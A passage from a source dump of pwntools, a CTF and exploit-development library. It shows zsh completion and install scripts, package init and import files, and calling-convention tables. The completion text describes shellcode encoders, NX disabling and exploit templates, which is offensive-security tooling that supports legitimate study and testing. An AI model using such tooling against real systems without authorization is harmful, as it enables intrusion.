Tag</string>\n\t\t\t<key>end</key>\n\t\t\t<string>(/&gt;)</string>\n\t\t\t<key>endCaptures</key>\n\t\t\t<dict>\n\t\t\t\t<key>1</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t</dict>\n\t\t\t<key>name</key>\n\t\t\t<string>source.mako.tag</string>\n\t\t\t<key>patterns</key>\n\t\t\t<array>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>include</key>\n\t\t\t\t\t<string>comment.block</string>\n\t\t\t\t</dict>\n\t\t\t</array>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>begin</key>\n\t\t\t<string>(\\${)</string>\n\t\t\t<key>beginCaptures</key>\n\t\t\t<dict>\n\t\t\t\t<key>1</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t</dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Mako Substitution</string>\n\t\t\t<key>end</key>\n\t\t\t<string>(})</string>\n\t\t\t<key>endCaptures</key>\n\t\t\t<dict>\n\t\t\t\t<key>1</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t</dict>\n\t\t\t<key>name</key>\n\t\t\t<string>source.mako.expression</string>\n\t\t\t<key>patterns</key>\n\t\t\t<array>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>include</key>\n\t\t\t\t\t<string>source.python</string>\n\t\t\t\t</dict>\n\t\t\t</array>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Mako Comment</string>\n\t\t\t<key>match</key>\n\t\t\t<string>(^##(.*)$)</string>\n\t\t\t<key>name</key>\n\t\t\t<string>comment.line.mako</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>begin</key>\n\t\t\t<string>^\\s*(%)(\\s*((endfor)|(endif)|(endwhile)))?</string>\n\t\t\t<key>beginCaptures</key>\n\t\t\t<dict>\n\t\t\t\t<key>1</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t\t<key>2</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t</dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Mako Directive</string>\n\t\t\t<key>end</key>\n\t\t\t<string>$</string>\n\t\t\t<key>name</key>\n\t\t\t<string>source.doc.python.mako.controlline</string>\n\t\t\t<key>patterns</key>\n\t\t\t<array>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>include</key>\n\t\t\t\t\t<string>source.python</string>\n\t\t\t\t</dict>\n\t\t\t</array>\n\t\t</dict>\n\t</array>\n\t<key>scopeName</key>\n\t<string>source.pwntools</string>\n\t<key>uuid</key>\n\t<string>19bbf78d-4ad8-4385-bb20-5bde8df453bf</string>\n</dict>\n</plist>\n"
  },
  {
    "path": "extra/zsh_completion/README.md",
    "content": "# ZSH Completion\n\nTo install the completion, copy `_pwn` to somewhere in your `$fpath`.\n\nThe `./install.sh` script attempts to automate this, and advises an alternative method if that's unavailable."
  },
  {
    "path": "extra/zsh_completion/_pwn",
    "content": "#compdef pwn\n# ----------------------------------------------------------------------------------------\n# Zsh completion file for pwn\n#\n# Pwntools Command-line Interface\n#\n# This file was generated with help from Zargparse (https://github.com/ctil/zargparse)\n# ----------------------------------------------------------------------------------------\n\ntypeset -A opt_args\n\n_pwn() {\n  # Define the subcommands\n  local -a commands\n  \n  commands=(\n    'asm:Assemble shellcode into bytes'\n    'checksec:Check binary security settings'\n    'constgrep:Looking up constants from header files.'\n    'cyclic:Cyclic pattern creator/finder'\n    'debug:Debug a binary in GDB'\n    'disasm:Disassemble bytes into text format'\n    'disablenx:Disable NX for an ELF binary'\n    'elfdiff:Compare two ELF files'\n    'elfpatch:Patch an ELF file'\n    'errno:Prints out error messages'\n    'hex:Hex-encodes data provided on the command line or stdin'\n    'libcdb:Print various information about a libc binary'\n    'phd:Pretty hex dump'\n    'pwnstrip:Strip binaries for CTF usage'\n    'scramble:Shellcode encoder'\n    'shellcraft:Microwave shellcode -- Easy, fast and delicious'\n    'template:Generate an exploit template'\n    'unhex:Decodes hex-encoded data provided on the command line or via stdin.'\n    'update:Check for pwntools updates'\n    'version:Pwntools version'\n  )\n\n  # Global flags (i.e. ones not associated with a subcommand)\n  _arguments \\\n    \"1: :{_describe 'command' commands}\" \\\n    '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n    '*:: :->args'\n\n  # Flags for each subcommand\n  case $state in\n    args)\n      case $words[1] in\n        asm)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \\\n            '(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \\\n            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \\[\"16\", \"32\", \"64\", \"baremetal\", \"freebsd\", \"windows\", \"android\", \"darwin\", \"linux\", \"cgc\", \"loongarch64\", \"powerpc64\", \"aarch64\", \"powerpc\", \"riscv32\", \"riscv64\", \"sparc64\", \"mips64\", \"msp430\", \"alpha\", \"amd64\", \"sparc\", \"thumb\", \"cris\", \"i386\", \"ia64\", \"m68k\", \"mips\", \"s390\", \"none\", \"avr\", \"arm\", \"vax\", \"little\", \"big\", \"be\", \"eb\", \"le\", \"el\"\\]]:-c :(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \\\n            '(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes (provided as hex)]:' \\\n            '(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \\\n            '(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \\\n            '(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \\\n            '(-e --encoder)'{-e,--encoder}'=[Specific encoder to use]:' \\\n            '(-i --infile)'{-i,--infile}'=[Specify input file]:' \\\n            '(-r --run)'{-r,--run}'[Run output]' \\\n            ;;\n        checksec)\n            _arguments \\\n              '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n              '--file=[File to check (for compatibility with checksec.sh)]:ELF file:_path_files -g \"*(-.)\"' \\\n              '*:ELF file:_path_files -g \"*(-.)\"' \\\n            ;;\n        constgrep)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '(-e --exact)'{-e,--exact}'[Do an exact match for a constant instead of searching for a regex]' \\\n            '(-i --case-insensitive)'{-i,--case-insensitive}'[Search case insensitive]' \\\n            '(-m --mask-mode)'{-m,--mask-mode}'[Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.]' \\\n            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \\[\"16\", \"32\", \"64\", \"baremetal\", \"freebsd\", \"windows\", \"android\", \"darwin\", \"linux\", \"cgc\", \"loongarch64\", \"powerpc64\", \"aarch64\", \"powerpc\", \"riscv32\", \"riscv64\", \"sparc64\", \"mips64\", \"msp430\", \"alpha\", \"amd64\", \"sparc\", \"thumb\", \"cris\", \"i386\", \"ia64\", \"m68k\", \"mips\", \"s390\", \"none\", \"avr\", \"arm\", \"vax\", \"little\", \"big\", \"be\", \"eb\", \"le\", \"el\"\\]]:-c :(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \\\n            ;;\n        cyclic)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '(-a --alphabet)'{-a,--alphabet}'=[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:' \\\n            '(-n --length)'{-n,--length}'=[Size of the unique subsequences (defaults to 4).]:' \\\n            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \\[\"16\", \"32\", \"64\", \"baremetal\", \"freebsd\", \"windows\", \"android\", \"darwin\", \"linux\", \"cgc\", \"loongarch64\", \"powerpc64\", \"aarch64\", \"powerpc\", \"riscv32\", \"riscv64\", \"sparc64\", \"mips64\", \"msp430\", \"alpha\", \"amd64\", \"sparc\", \"thumb\", \"cris\", \"i386\", \"ia64\", \"m68k\", \"mips\", \"s390\", \"none\", \"avr\", \"arm\", \"vax\", \"little\", \"big\", \"be\", \"eb\", \"le\", \"el\"\\]]:-c :(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \\\n            '(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'=[Do a lookup instead printing the alphabet]:' \\\n            ;;\n        debug)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '-x=[Execute GDB commands from this file.]:' \\\n            '--pid=[PID to attach to]:' \\\n            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \\[\"16\", \"32\", \"64\", \"baremetal\", \"freebsd\", \"windows\", \"android\", \"darwin\", \"linux\", \"cgc\", \"loongarch64\", \"powerpc64\", \"aarch64\", \"powerpc\", \"riscv32\", \"riscv64\", \"sparc64\", \"mips64\", \"msp430\", \"alpha\", \"amd64\", \"sparc\", \"thumb\", \"cris\", \"i386\", \"ia64\", \"m68k\", \"mips\", \"s390\", \"none\", \"avr\", \"arm\", \"vax\", \"little\", \"big\", \"be\", \"eb\", \"le\", \"el\"\\]]:-c :(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \\\n            '--exec=[File to debug]:' \\\n            '--process=[Name of the process to attach to (e.g. \"bash\")]:' \\\n            '--sysroot=[GDB sysroot path]:' \\\n            ;;\n        disasm)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \\[\"16\", \"32\", \"64\", \"baremetal\", \"freebsd\", \"windows\", \"android\", \"darwin\", \"linux\", \"cgc\", \"loongarch64\", \"powerpc64\", \"aarch64\", \"powerpc\", \"riscv32\", \"riscv64\", \"sparc64\", \"mips64\", \"msp430\", \"alpha\", \"amd64\", \"sparc\", \"thumb\", \"cris\", \"i386\", \"ia64\", \"m68k\", \"mips\", \"s390\", \"none\", \"avr\", \"arm\", \"vax\", \"little\", \"big\", \"be\", \"eb\", \"le\", \"el\"\\]]:-c :(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \\\n            '(-a --address)'{-a,--address}'=[Base address]:' \\\n            '--color[Color output]' \\\n            '--no-color[Disable color output]' \\\n            ;;\n        disablenx)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            ;;\n        elfdiff)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            ;;\n        elfpatch)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            ;;\n        errno)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            ;;\n        hex)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '(-p --prefix)'{-p,--prefix}'=[Insert a prefix before each byte]:' \\\n            '(-s --separator)'{-s,--separator}'=[Add a separator between each byte]:' \\\n            ;;\n        libcdb)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            ;;\n        phd)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '(-w --width)'{-w,--width}'=[Number of bytes per line.]:' \\\n            '(-l --highlight)'{-l,--highlight}'=[Byte to highlight.]:' \\\n            '(-s --skip)'{-s,--skip}'=[Skip this many initial bytes.]:' \\\n            '(-c --count)'{-c,--count}'=[Only show this many bytes.]:' \\\n            '(-o --offset)'{-o,--offset}'=[Addresses in left hand column starts at this address.]:' \\\n            '--color=[Colorize the output.  When \"auto\" output is colorized exactly when stdout is a TTY.  Default is \"auto\".]:--color :(always never auto)' \\\n            ;;\n        pwnstrip)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '(-b --build-id)'{-b,--build-id}'[Strip build ID]' \\\n            '(-p --patch)'{-p,--patch}'=[Patch function]:' \\\n            '(-o --output)'{-o,--output}'=[None]:' \\\n            ;;\n        scramble)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \\\n            '(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \\\n            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \\[\"16\", \"32\", \"64\", \"baremetal\", \"freebsd\", \"windows\", \"android\", \"darwin\", \"linux\", \"cgc\", \"loongarch64\", \"powerpc64\", \"aarch64\", \"powerpc\", \"riscv32\", \"riscv64\", \"sparc64\", \"mips64\", \"msp430\", \"alpha\", \"amd64\", \"sparc\", \"thumb\", \"cris\", \"i386\", \"ia64\", \"m68k\", \"mips\", \"s390\", \"none\", \"avr\", \"arm\", \"vax\", \"little\", \"big\", \"be\", \"eb\", \"le\", \"el\"\\]]:-c :(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \\\n            '(-p --alphanumeric)'{-p,--alphanumeric}'[Encode the shellcode with an alphanumeric encoder]' \\\n            '(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \\\n            '(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \\\n            '(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \\\n            '(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \\\n            ;;\n        shellcraft)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '(-? --show)'{-?,--show}'[Show shellcode documentation]' \\\n            '(-o --out)'{-o,--out}'=[Output file (default: stdout)]:' \\\n            '(-f --format)'{-f,--format}'=[Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string]:-f :(r raw s str string c h hex a asm assembly p i hexii e elf d escaped default)' \\\n            '(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \\\n            '--delim=[Set the delimiter between multiple shellcodes]:' \\\n            '(-b --before)'{-b,--before}'[Insert a debug trap before the code]' \\\n            '(-a --after)'{-a,--after}'[Insert a debug trap after the code]' \\\n            '(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \\\n            '(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \\\n            '(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \\\n            '(-r --run)'{-r,--run}'[Run output]' \\\n            '--color[Color output]' \\\n            '--no-color[Disable color output]' \\\n            '--syscalls[List syscalls]' \\\n            '--address=[Load address]:' \\\n            '(-l --list)'{-l,--list}'[List available shellcodes, optionally provide a filter]' \\\n            '(-s --shared)'{-s,--shared}'[Generated ELF is a shared library]' \\\n            ;;\n        template)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '--host=[Remote host / SSH server]:' \\\n            '--port=[Remote port / SSH port]:' \\\n            '--user=[SSH Username]:' \\\n            '(--pass --password)'{--pass,--password}'=[SSH Password]:' \\\n            '--libc=[Path to libc binary to use. If not given, the current directory is searched for a libc binary.]:' \\\n            '--path=[Remote path of file on SSH server]:' \\\n            '--quiet[Less verbose template comments]' \\\n            '--color=[Print the output in color]:--color :(never always auto)' \\\n            '--template=[Path to a custom template. Tries to use \"~/.config/pwntools/templates/pwnup.mako\", if it exists. Check \"/pwntools/pwnlib/data/templates/pwnup.mako\" for the default template shipped with pwntools.]:' \\\n            '--no-auto[Do not automatically detect missing binaries]' \\\n            ;;\n        unhex)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            ;;\n        update)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            '--install[Install the update automatically.]' \\\n            '--pre[Check for pre-releases.]' \\\n            ;;\n        version)\n          _arguments \\\n            '(-h --help)'{-h,--help}'[show this help message and exit]' \\\n            ;;\n      esac\n      ;;\n  esac\n}\n_pwn\n"
  },
  {
    "path": "extra/zsh_completion/install.zsh",
    "content": "#!/usr/bin/env zsh\n\n# Try to find a writable directory first, in reverse order\nfor dir in \"${(Oa)fpath[@]}\"; do\n    if [ -w \"$dir\" ]; then\n        cp -f ${0:h}/_pwn \"$dir\"\n        return\n    fi\ndone\n\ncat <<EOF\nCould not find a suitable directory to install the completion.\n\nTry adding this line at the top of your ~/.zshrc, and start a new shell.\n\n    fpath=( ${0:A:h} \\$fpath )\n\nIf completion does not work, add this to the bottom of your ~/.zshrc, and start a new shell.\nUsers of prezto should enable the 'completion' module (enabled by default).\n\n    compinit -i\n\nEOF"
  },
  {
    "path": "pwn/__init__.py",
    "content": "# Promote useful stuff to toplevel\nfrom pwn.toplevel import *\n\npwnlib.args.initialize()\npwnlib.log.install_default_handler()\npwnlib.config.initialize()\n\nargs = pwnlib.args.args\n\nif not platform.architecture()[0].startswith('64'):\n    \"\"\"Determines if the current Python interpreter is supported by Pwntools.\n\n    See Gallopsled/pwntools#518 for more information.\"\"\"\n    log.warn_once('Pwntools does not support 32-bit Python.  Use a 64-bit release.')\n\nwith context.local(log_console=sys.stderr):\n    pwnlib.update.check_automatically()\n"
  },
  {
    "path": "pwn/toplevel.py",
    "content": "# Get all the modules from pwnlib\nimport collections\nimport logging\nimport math\nimport operator\nimport os\nimport platform\nimport re\nimport socks\nimport signal\nimport string\nimport struct\nimport subprocess\nimport sys\nimport tempfile\nimport threading\nimport time\n\nfrom pprint import pprint\n\nimport pwnlib\nfrom pwnlib import *\nfrom pwnlib.asm import *\nfrom pwnlib.context import Thread\nfrom pwnlib.context import context, LocalContext\nfrom pwnlib.dynelf import DynELF\nfrom pwnlib.encoders import *\nfrom pwnlib.elf.corefile import Core, Corefile, Coredump\nfrom pwnlib.elf.elf import ELF, load\nfrom pwnlib.encoders import *\nfrom pwnlib.exception import PwnlibException\nfrom pwnlib.gdb import attach, debug_assembly, debug_shellcode\nfrom pwnlib.filepointer import *\nfrom pwnlib.filesystem import *\nfrom pwnlib.flag import *\nfrom pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split\nfrom pwnlib.log import getLogger\nfrom pwnlib.memleak import MemLeak, RelativeMemLeak\nfrom pwnlib.regsort import *\nfrom pwnlib.replacements import *\nfrom pwnlib.rop import ROP\nfrom pwnlib.rop.call import AppendedArgument\nfrom pwnlib.rop.srop import SigreturnFrame\nfrom pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload\nfrom pwnlib.runner import *\nfrom pwnlib.term.readline import str_input\nfrom pwnlib.timeout import Timeout\nfrom pwnlib.tubes.listen import listen\nfrom pwnlib.tubes.process import process, PTY, PIPE, STDOUT\nfrom pwnlib.tubes.remote import remote, tcp, udp, connect\nfrom pwnlib.tubes.serialtube import serialtube\nfrom pwnlib.tubes.server import server\nfrom pwnlib.tubes.ssh import ssh\nfrom pwnlib.tubes.tube import tube\nfrom pwnlib.ui import *\nfrom pwnlib.util import crc\nfrom pwnlib.util import iters\nfrom pwnlib.util import net\nfrom pwnlib.util import proc\nfrom pwnlib.util import safeeval\nfrom pwnlib.util.crc import BitPolynom\nfrom pwnlib.util.cyclic import *\nfrom pwnlib.util.fiddling import *\nfrom pwnlib.util.getdents import *\nfrom pwnlib.util.hashes import *\nfrom pwnlib.util.lists import *\nfrom pwnlib.util.misc import *\nfrom pwnlib.util.packing import *\nfrom pwnlib.util.proc import pidof\nfrom pwnlib.util.sh_string import sh_string, sh_prepare, sh_command_with\nfrom pwnlib.util.splash import *\nfrom pwnlib.util.web import *\nfrom pwnlib.libc import *\n\n# Promote these modules, so that \"from pwn import *\" will let you access them\n\nimport pickle\nfrom io import BytesIO, StringIO\n\nlog = getLogger(\"pwnlib.exploit\")\nerror   = log.error\nwarning = log.warning\nwarn    = log.warning\ninfo    = log.info\ndebug   = log.debug\nsuccess = log.success\n\ntry:\n    import colored_traceback\nexcept ImportError:\n    pass\nelse:\n    try:\n        colored_traceback.add_hook()\n    except Exception:\n        # Exception: curses.error\n        # colored_traceback (curses.setupterm()) fails if TERM is unset.\n        # This is not critical, so we just ignore it.\n        # We cannot import `curses` for `curses.error` because it is not\n        # available on all platforms (e.g. Windows).\n        pass\n\n# Equivalence with the default behavior of \"from import *\"\n# __all__ = [x for x in tuple(globals()) if not x.startswith('_')]\n"
  },
  {
    "path": "pwnlib/__init__.py",
    "content": "from __future__ import absolute_import\n\nfrom .version import __version__\n\nversion = __version__\n\n__all__ = [\n    'adb',\n    'args',\n    'asm',\n    'atexception',\n    'atexit',\n    'commandline',\n    'constants',\n    'context',\n    'data',\n    'dynelf',\n    'encoders',\n    'elf',\n    'exception',\n    'fmtstr',\n    'gdb',\n    'libcdb',\n    'log',\n    'memleak',\n    'regsort',\n    'replacements',\n    'rop',\n    'runner',\n    'shellcraft',\n    'term',\n    'tubes',\n    'ui',\n    'useragents',\n    'util',\n    'update',\n    'version',\n    'windbg',\n]\n\nfrom . import args\n"
  },
  {
    "path": "pwnlib/abi.py",
    "content": "from pwnlib.context import LocalContext\nfrom pwnlib.context import context\n\n\nclass ABI(object):\n    \"\"\"\n    Encapsulates information about a calling convention.\n    \"\"\"\n    #: List or registers which should be filled with arguments before\n    #: spilling onto the stack.\n    register_arguments = []\n\n    #: Minimum alignment of the stack.\n    #: The value used is min(context.bytes, stack_alignment)\n    #: This is necessary as Windows x64 frames must be 32-byte aligned.\n    #: \"Alignment\" is considered with respect to the last argument on the stack.\n    arg_alignment    = 1\n\n    #: Minimum number of stack slots used by a function call\n    #: This is necessary as Windows x64 requires using 4 slots on the stack\n    stack_minimum      = 0\n\n    #: Indicates that this ABI returns to the next address on the slot\n    returns            = True\n\n    def __init__(self, stack, arg_regs, align, minimum):\n        self.stack              = stack\n        self.register_arguments = arg_regs\n        self.arg_alignment      = align\n        self.stack_minimum      = minimum\n\n    @staticmethod\n    @LocalContext\n    def default():\n        if context.os == 'android':\n            context.os = 'linux'\n\n        return {\n        (32, 'i386', 'linux'):  linux_i386,\n        (64, 'aarch64', 'linux'): linux_aarch64,\n        (64, 'amd64', 'linux'): linux_amd64,\n        (32, 'arm', 'linux'):   linux_arm,\n        (32, 'thumb', 'linux'):   linux_arm,\n        (32, 'mips', 'linux'):   linux_mips,\n        (32, 'powerpc', 'linux'): linux_ppc,\n        (64, 'powerpc', 'linux'): linux_ppc64,\n        (32, 'riscv32', 'linux'): linux_riscv32,\n        (64, 'riscv64', 'linux'): linux_riscv64,\n        (64, 'loongarch64', 'linux'): linux_loongarch64,\n        (32, 'i386', 'freebsd'):  freebsd_i386,\n        (64, 'aarch64', 'freebsd'): freebsd_aarch64,\n        (64, 'amd64', 'freebsd'): freebsd_amd64,\n        (32, 'arm', 'freebsd'):   freebsd_arm,\n        (32, 'thumb', 'freebsd'):   freebsd_arm,\n        (32, 'mips', 'freebsd'):   freebsd_mips,\n        (32, 'powerpc', 'freebsd'): freebsd_ppc,\n        (64, 'powerpc', 'freebsd'): freebsd_ppc64,\n        (32, 'i386', 'windows'):  windows_i386,\n        (64, 'amd64', 'windows'): windows_amd64,\n        (64, 'amd64', 'darwin'): darwin_amd64,\n        (64, 'aarch64', 'darwin'): darwin_aarch64,\n        }[(context.bits, context.arch, context.os)]\n\n    @staticmethod\n    @LocalContext\n    def syscall():\n        if context.os == 'android':\n            context.os = 'linux'\n\n        return {\n        (32, 'i386', 'linux'):  linux_i386_syscall,\n        (64, 'amd64', 'linux'): linux_amd64_syscall,\n        (64, 'aarch64', 'linux'): linux_aarch64_syscall,\n        (32, 'arm', 'linux'):   linux_arm_syscall,\n        (32, 'thumb', 'linux'):   linux_arm_syscall,\n        (32, 'mips', 'linux'):   linux_mips_syscall,\n        (64, 'aarch64', 'linux'):   linux_aarch64_syscall,\n        (32, 'powerpc', 'linux'): linux_ppc_syscall,\n        (64, 'powerpc', 'linux'): linux_ppc64_syscall,\n        (32, 'riscv32', 'linux'): linux_riscv32_syscall,\n        (64, 'riscv64', 'linux'): linux_riscv64_syscall,\n        (64, 'loongarch64', 'linux'): linux_loongarch64_syscall,\n        (32, 'i386', 'freebsd'):  freebsd_i386_syscall,\n        (64, 'amd64', 'freebsd'): freebsd_amd64_syscall,\n        (64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,\n        (32, 'arm', 'freebsd'):   freebsd_arm_syscall,\n        (32, 'thumb', 'freebsd'):   freebsd_arm_syscall,\n        (32, 'mips', 'freebsd'):   freebsd_mips_syscall,\n        (64, 'aarch64', 'freebsd'):   freebsd_aarch64_syscall,\n        (32, 'powerpc', 'freebsd'): freebsd_ppc_syscall,\n        (64, 'powerpc', 'freebsd'): freebsd_ppc64_syscall,\n        (64, 'amd64', 'darwin'): darwin_amd64_syscall,\n        (64, 'aarch64', 'darwin'): darwin_aarch64_syscall,\n        }[(context.bits, context.arch, context.os)]\n\n    @staticmethod\n    @LocalContext\n    def sigreturn():\n        if context.os == 'android':\n            context.os = 'linux'\n\n        return {\n        (32, 'i386', 'linux'):  linux_i386_sigreturn,\n        (64, 'amd64', 'linux'): linux_amd64_sigreturn,\n        (32, 'arm', 'linux'):   linux_arm_sigreturn,\n        (32, 'thumb', 'linux'):   linux_arm_sigreturn,\n        (64, 'aarch64', 'linux'):   linux_aarch64_sigreturn,\n        (32, 'riscv32', 'linux'):   linux_riscv32_sigreturn,\n        (64, 'riscv64', 'linux'):   linux_riscv64_sigreturn,\n        (64, 'loongarch64', 'linux'):   linux_loongarch64_sigreturn,\n        (32, 'i386', 'freebsd'):  freebsd_i386_sigreturn,\n        (64, 'amd64', 'freebsd'): freebsd_amd64_sigreturn,\n        (32, 'arm', 'freebsd'):   freebsd_arm_sigreturn,\n        (32, 'thumb', 'freebsd'):   freebsd_arm_sigreturn,\n        (64, 'aarch64', 'freebsd'):   freebsd_aarch64_sigreturn,\n        (64, 'amd64', 'darwin'):   darwin_amd64_sigreturn,\n        (64, 'aarch64', 'darwin'):   darwin_aarch64_sigreturn,\n        }[(context.bits, context.arch, context.os)]\n\n\nclass SyscallABI(ABI):\n    \"\"\"\n    The syscall ABI treats the syscall number as the zeroth argument,\n    which must be loaded into the specified register.\n    \"\"\"\n    def __init__(self, *a, **kw):\n        super(SyscallABI, self).__init__(*a, **kw)\n        self.syscall_register = self.register_arguments[0]\n\n\nclass SigreturnABI(SyscallABI):\n    \"\"\"\n    The sigreturn ABI is similar to the syscall ABI, except that\n    both PC and SP are loaded from the stack.  Because of this, there\n    is no 'return' slot necessary on the stack.\n    \"\"\"\n    returns = False\n\n\n# System V ABI used by many UNIXes\nlinux_i386   = ABI('esp', [], 4, 0)\nlinux_amd64  = ABI('rsp', ['rdi','rsi','rdx','rcx','r8','r9'], 8, 0)\nlinux_arm    = ABI('sp', ['r0', 'r1', 'r2', 'r3'], 8, 0)\nlinux_aarch64 = ABI('sp', ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7'], 16, 0)\nlinux_mips  = ABI('$sp', ['$a0','$a1','$a2','$a3'], 4, 0)\nlinux_ppc = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)\nlinux_ppc64 = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)\nlinux_riscv32 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)\nlinux_riscv64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)\nlinux_loongarch64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)\n\nsysv_i386 = linux_i386\nsysv_amd64 = linux_amd64\nsysv_arm = linux_arm\nsysv_aarch64 = linux_aarch64\nsysv_mips = linux_mips\nsysv_ppc = linux_ppc\nsysv_ppc64 = linux_ppc64\nsysv_riscv32 = linux_riscv32\nsysv_riscv64 = linux_riscv64\nsysv_loongarch64 = linux_loongarch64\n\n# Docs: https://man7.org/linux/man-pages/man2/syscall.2.html\nlinux_i386_syscall = SyscallABI('esp', 